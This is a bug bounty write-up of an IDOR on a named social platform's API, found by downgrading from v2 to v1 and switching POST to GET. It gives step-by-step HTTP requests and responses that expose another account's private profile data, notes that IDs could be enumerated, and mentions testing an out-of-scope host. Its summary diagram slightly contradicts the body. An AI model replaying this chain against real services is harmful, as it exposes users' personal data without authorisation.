June 16, 2026
How I Discovered My First IDOR via API Downgrade
By Md Tanjimul Islam Sifat (TI Sifat) Cybersecurity Researcher | Bug Bounty Hunter | Founder of SftSec Tim
Md Tanjimul Islam Sifat
8 min read
"The older the API version, the louder its secrets."
TL;DR
While testing a Vulnerability Disclosure Program (VDP), I discovered that an API endpoint on /api/v2/users/{id} returned encrypted JSON responses — effectively hiding all data behind a custom encryption scheme. However, by simply downgrading the API version to /api/v1/, the same endpoint responded with fully unencrypted plaintext JSON. On top of that, changing the HTTP method from POST to GET bypassed object-level authorization entirely, exposing private PII of any user — including date of birth, gender, blood group, work history, education, has_password flag, and more. Classic IDOR, hidden behind an API versioning blind spot.
Introduction
Every great bug bounty finding starts with a simple question: "What if I change just this one thing?"
That curiosity is what led me to my first meaningful IDOR (Insecure Direct Object Reference). This wasn't a textbook IDOR where you just swap a numeric ID in the URL. This one required a chain of small discoveries — API version enumeration, encrypted response bypass, and HTTP method override — all stacked together.
In this writeup, I'll walk you through my exact methodology, the HTTP traffic, my thought process, and the lessons learned from a report that was (frustratingly) closed as out of scope.
Let's get into it.
The Target
The target was a social-impact-oriented platform with features like profile management, blood donation tracking, and community networking. It was listed on a VDP (Vulnerability Disclosure Program) platform under ZeroDay Test.
In-scope subdomain:
https://[target].hopenity.comhttps://[target].hopenity.comAPI host (where things got interesting):
https://api.hopenity.comhttps://api.hopenity.comFor ethical testing, I created two accounts:
Step 1: Mapping the Application with Burp Suite
Before hunting for anything specific, I do what I always do — click everything.
Every button. Every form. Every feature. While doing so, I keep Burp Suite's proxy intercept running in the background to understand the full request-response flow of the application.
I paid particular attention to the Edit Profile functionality at:
/edit-profile/edit-profileThe profile page publicly displayed: profile photo, banner, follower/following counts, blood group, bio, and location.
But I noticed the platform also stored private information that was not meant to be shown publicly — things like:
- Date of Birth
- Gender
- Relationship Status
- Work History
- Education
- Account security flags (
has_password) - Suspension state
This gap between what the UI shows and what the API might return is exactly where IDOR lives.
Step 2: Capturing the Profile Update Request
After logging in as Attacker (Account A), I navigated to the profile edit page and hit Save. Burp intercepted the following request:
POST /api/v2/users/476771 HTTP/2
Host: api.hopenity.com
Authorization: Bearer [REDACTED_JWT]
Content-Type: multipart/form-data; boundary=----geckoformboundary...
X-Hopenity-V2-Encrypted: 1
------geckoformboundary...
Content-Disposition: form-data; name="name"
User A
------geckoformboundary...
Content-Disposition: form-data; name="blood_group"
A+
------geckoformboundary...
Content-Disposition: form-data; name="gender"
Male
------geckoformboundary...
Content-Disposition: form-data; name="date_of_birth"
2000-06-21T12:00:00.000Z
[... additional fields ...]POST /api/v2/users/476771 HTTP/2
Host: api.hopenity.com
Authorization: Bearer [REDACTED_JWT]
Content-Type: multipart/form-data; boundary=----geckoformboundary...
X-Hopenity-V2-Encrypted: 1
------geckoformboundary...
Content-Disposition: form-data; name="name"
User A
------geckoformboundary...
Content-Disposition: form-data; name="blood_group"
A+
------geckoformboundary...
Content-Disposition: form-data; name="gender"
Male
------geckoformboundary...
Content-Disposition: form-data; name="date_of_birth"
2000-06-21T12:00:00.000Z
[... additional fields ...]Notice the custom header: X-Hopenity-V2-Encrypted: 1
This hints that the v2 API has an encryption layer on responses. And sure enough, the response confirmed that:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
{
"encrypted": true,
"keyId": "hpn-sk-v1",
"iv": "GJ2fECp9hx8oHHAPRLmNAA==",
"payload": "ETkhsbIcTp6SoQ/ckfIcFi0D9VWzJNWK...[truncated base64]",
"mac": "39DTRlE/VCHYKIsoAuIO9q0JgOuP3JPNWdhJLHwT2Ks="
}HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
{
"encrypted": true,
"keyId": "hpn-sk-v1",
"iv": "GJ2fECp9hx8oHHAPRLmNAA==",
"payload": "ETkhsbIcTp6SoQ/ckfIcFi0D9VWzJNWK...[truncated base64]",
"mac": "39DTRlE/VCHYKIsoAuIO9q0JgOuP3JPNWdhJLHwT2Ks="
}The response was AES-encrypted (likely AES-GCM based on the iv + mac structure). Not Base64 decodable. Not reversible without the server-side key. A dead end — for now.
Observation: The custom header
X-Hopenity-V2-Encrypted: 1implies encryption is a version 2 feature. What happens on version 1?
Step 3: The API Version Downgrade — /api/v2/ → /api/v1/
This is where the interesting part begins.
I took the exact same request, changed only one thing in the URL path:
POST /api/v2/users/476771 → POST /api/v1/users/476771POST /api/v2/users/476771 → POST /api/v1/users/476771No other changes. Same JWT token. Same body. Same headers.
POST /api/v1/users/476771 HTTP/2
Host: api.hopenity.com
Authorization: Bearer [REDACTED_JWT]
Content-Type: multipart/form-data; boundary=----geckoformboundary...
X-Hopenity-V2-Encrypted: 1POST /api/v1/users/476771 HTTP/2
Host: api.hopenity.com
Authorization: Bearer [REDACTED_JWT]
Content-Type: multipart/form-data; boundary=----geckoformboundary...
X-Hopenity-V2-Encrypted: 1And the response? No more encryption.
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
{
"success": true,
"message": "User updated successfully",
"responseObject": {
"id": 476771,
"name": "User A",
"email": "attacker@example.com",
"blood_group": "A+",
"gender": "Male",
"date_of_birth": "2000-06-21T12:00:00.000Z",
"latitude": 23.9456166,
"longitude": 90.2526382,
"location": "Baipail, Bangladesh",
"has_password": true,
"is_private_profile": true,
"app_lock_enabled": false,
"cover_photos": [...],
"work": [],
"education": [],
"username": "usera.582",
"following_count": 2,
"followers_count": 6,
...
},
"statusCode": 200
}HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
{
"success": true,
"message": "User updated successfully",
"responseObject": {
"id": 476771,
"name": "User A",
"email": "attacker@example.com",
"blood_group": "A+",
"gender": "Male",
"date_of_birth": "2000-06-21T12:00:00.000Z",
"latitude": 23.9456166,
"longitude": 90.2526382,
"location": "Baipail, Bangladesh",
"has_password": true,
"is_private_profile": true,
"app_lock_enabled": false,
"cover_photos": [...],
"work": [],
"education": [],
"username": "usera.582",
"following_count": 2,
"followers_count": 6,
...
},
"statusCode": 200
}The older /api/v1/ endpoint does not apply the encryption layer and returns everything in raw plaintext JSON. More importantly, it returns fields that are far more verbose than what the UI exposes.
My own data was fully visible. Now the real question: could I do this on someone else's account?
Step 4: Finding the Victim's User ID
I navigated to Account B (the Victim's) public profile and clicked on their profile picture. The image URL revealed their numeric user ID:
https://hopenity.nikolacdn.com/photos/478686-1781603575686.pnghttps://hopenity.nikolacdn.com/photos/478686-1781603575686.pngVictim's user ID: 478686
Sequential numeric IDs. Predictable. Classic IDOR prerequisite.
Step 5: The IDOR Attempt — Blocked at First
Armed with the victim's user ID, I sent the same POST /api/v1/users/478686 request (using my Attacker's JWT token):
POST /api/v1/users/478686 HTTP/2
Host: api.hopenity.com
Authorization: Bearer [ATTACKER_JWT_REDACTED]POST /api/v1/users/478686 HTTP/2
Host: api.hopenity.com
Authorization: Bearer [ATTACKER_JWT_REDACTED]And the server responded:
HTTP/2 403 Forbidden
{
"success":false,
"message":"Forbidden: You can only update your own profile",
"statusCode":403
}HTTP/2 403 Forbidden
{
"success":false,
"message":"Forbidden: You can only update your own profile",
"statusCode":403
}Blocked. The POST method was protected — it verified the user ID in the token against the ID in the URL. Makes sense for a write operation.
But wait. What about reading data?
Step 6: HTTP Method Override — The Real IDOR
When authorization is applied inconsistently across HTTP methods, a simple method change can reveal an entirely different security posture.
I went through the usual suspects — HEAD, PUT, OPTIONS, DELETE, PATCH, CONNECT — all returned errors or FAKE 200 and 400s.
Then I tried GET:
GET /api/v1/users/478686 HTTP/2
Host: api.hopenity.com
Authorization: Bearer [ATTACKER_JWT_REDACTED]GET /api/v1/users/478686 HTTP/2
Host: api.hopenity.com
Authorization: Bearer [ATTACKER_JWT_REDACTED]Response:
After Change Attacker user id to Victim user id :
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
{
"success": true,
"message": "User found",
"responseObject": {
"id": 478686,
"name": "User B",
"blood_group": "A+",
"gender": "Male",
"date_of_birth": "2000-02-01T12:00:00.000Z",
"location": "Gazi, Turkey",
"has_password": true,
"work": [
{
"company": "Google",
"position": "Software Engineer",
"city": "San Francisco",
"isCurrent": true
}
],
"education": [
{
"school": "Oxford University",
"degree": "BSC",
"fieldOfStudy": "Computer Science"
}
],
"relationship_status": "Prefer not to say",
"suspension_reason": null,
"scheduled_deletion_at": null,
"username": "userb.202",
...
},
"statusCode": 200
}HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
{
"success": true,
"message": "User found",
"responseObject": {
"id": 478686,
"name": "User B",
"blood_group": "A+",
"gender": "Male",
"date_of_birth": "2000-02-01T12:00:00.000Z",
"location": "Gazi, Turkey",
"has_password": true,
"work": [
{
"company": "Google",
"position": "Software Engineer",
"city": "San Francisco",
"isCurrent": true
}
],
"education": [
{
"school": "Oxford University",
"degree": "BSC",
"fieldOfStudy": "Computer Science"
}
],
"relationship_status": "Prefer not to say",
"suspension_reason": null,
"scheduled_deletion_at": null,
"username": "userb.202",
...
},
"statusCode": 200
}Confirmed IDOR. Using only my own valid authentication token, I accessed the full private profile of any other user by:
- Downgrading the API version from
v2→v1(bypasses encryption, exposes raw data) - Switching the HTTP method from
POST→GET(bypasses object-level authorization check)
What Private Data Was Exposed?
The following fields were returned for any user ID — data that was never displayed publicly on the UI:
The user IDs were sequential integers. A script could enumerate thousands of profiles in minutes, building a complete demographic database of the platform's users.
The Attack Chain — Visual Summary
Step 1: Login as Attacker (Account A)
↓
Step 2: Capture profile update request on Burp Suite
POST /api/v2/users/{attacker_id}
↓
Step 3: Downgrade API version
POST /api/v1/users/{attacker_id}
→ Response: Plaintext JSON (encryption bypassed!)
↓
Step 4: Discover victim's user ID from public image URL
https://cdn.hopenity.com/photos/478686-...png
↓
Step 5: Try POST /api/v1/users/{victim_id}
→ 401 Unauthorized (write operation protected)
↓
Step 6: Switch HTTP method to GET
GET /api/v1/users/{victim_id}
→ 200 OK — Full private PII returned ✅Step 1: Login as Attacker (Account A)
↓
Step 2: Capture profile update request on Burp Suite
POST /api/v2/users/{attacker_id}
↓
Step 3: Downgrade API version
POST /api/v1/users/{attacker_id}
→ Response: Plaintext JSON (encryption bypassed!)
↓
Step 4: Discover victim's user ID from public image URL
https://cdn.hopenity.com/photos/478686-...png
↓
Step 5: Try POST /api/v1/users/{victim_id}
→ 401 Unauthorized (write operation protected)
↓
Step 6: Switch HTTP method to GET
GET /api/v1/users/{victim_id}
→ 200 OK — Full private PII returned ✅Reporting
I reported the finding on ZeroDay Test under Hopenity's VDP program with the title:
"Excessive Data Exposure of Non-Public Sensitive User Attributes (Date of Birth, Gender, Auth State) via /api/v1/users/"
Vulnerability Type: Information Disclosure / Excessive Data Exposure / IDOR
Recommended Mitigations I included:
- Implement a strict Data Transfer Object (DTO) layer that whitelists only fields intended for public consumption
- Apply consistent authorization checks across all HTTP methods (
GET,POST,PUT, etc.) at the object level - Deprecate or fully decommission
/api/v1/if it's no longer used by the front end — legacy endpoints are often forgotten and under-secured - Never rely on response encryption alone as a substitute for proper access control
What Happened with the Report
The team responded:
*"Hey, thanks for the detailed report! Unfortunately we are closing this as Out of Scope. The affected endpoint (api.hopenity.com) falls under .hopenity.com, which is explicitly listed as out of scope in our program. Only the specific subdomain listed in our scope table is eligible for submission."
Closed: Out of Scope.
Was it disappointing? Yes. Was the vulnerability valid? Also yes.
The lesson here isn't about the triager's decision — it's about reading the scope carefully before investing time. The application subdomain was in scope, but the API subdomain (api.hopenity.com) was not explicitly listed. In hindsight, I should have verified this before deep-diving into API testing.
However, from a pure security research perspective, the finding remains technically solid, and this writeup exists to document the methodology for the community.
Key Takeaways for Bug Hunters
1. Always test old API versions. When you see /api/v2/, immediately try /api/v1/ (and even /api/v3/). Legacy versions are often deployed alongside current ones and frequently lack modern security controls — like encryption, rate limiting, or authorization middleware.
2. HTTP method manipulation is a core skill. When a POST returns 401, don't stop. Try GET, PUT, PATCH, HEAD, DELETE. Authorization logic is often implemented per-method, and developers sometimes forget to protect read endpoints.
3. Encryption ≠ Security. The v2 endpoint encrypted its responses — which gives a false sense of security. Encryption on the wire is transport-level protection. It doesn't replace proper access control. The v1 endpoint proved that the underlying data was always there, just hidden behind a layer.
4. User IDs in media CDN URLs are goldmines. Profile images, uploaded files, and avatars are often named with the user's internal ID. A simple right-click → "Copy image URL" gave me the victim's numeric ID without any special tooling.
5. Read the scope. Twice. Your best technical finding means nothing if the asset isn't in scope. Before testing any endpoint or subdomain, verify it's explicitly covered in the program's scope table.
6. VDP ≠ Bounty, but it's worth it. Even closed or OOS reports teach you something. Every test improves your methodology, pattern recognition, and storytelling for future reports. Never waste a finding — document it, writeup it up, and share it with the community.
Closing Thoughts
Finding your first IDOR is a milestone. It means your methodology is maturing — you're no longer just following tutorials; you're building mental models of how APIs work and where authorization falls apart.
This finding combined three separate observations:
- A version-downgrade bypass of API encryption
- Sequential numeric user IDs discoverable from public CDN URLs
- Inconsistent authorization checks across HTTP methods
None of those three alone would've been enough. Together, they formed a clean, exploitable chain.
To the Hopenity security team — the vulnerability is real, and I hope it gets fixed regardless of scope. The security community benefits when platforms take privacy seriously.
And to every bug hunter reading this: keep changing one thing at a time. That one change is almost always where the bug lives.
About the Author
Md Tanjimul Islam Sifat, known as TI Sifat, is an experienced Cybersecurity Researcher, Bug Bounty Hunter, and Offensive Security Expert specializing in penetration testing, API security, and vulnerability research. He systematically identifies and responsibly discloses security vulnerabilities, helping organizations build stronger digital defenses.
He is the founder of SftSec Tim, a fast-growing cybersecurity education community empowering the next generation of ethical hackers through real-world research, technical content, and practical resources.
- 📺 YouTube: SftSec Tim Community
- 💬 Discord: SftSec Tim Discord
Hack ethically. Learn with consistency.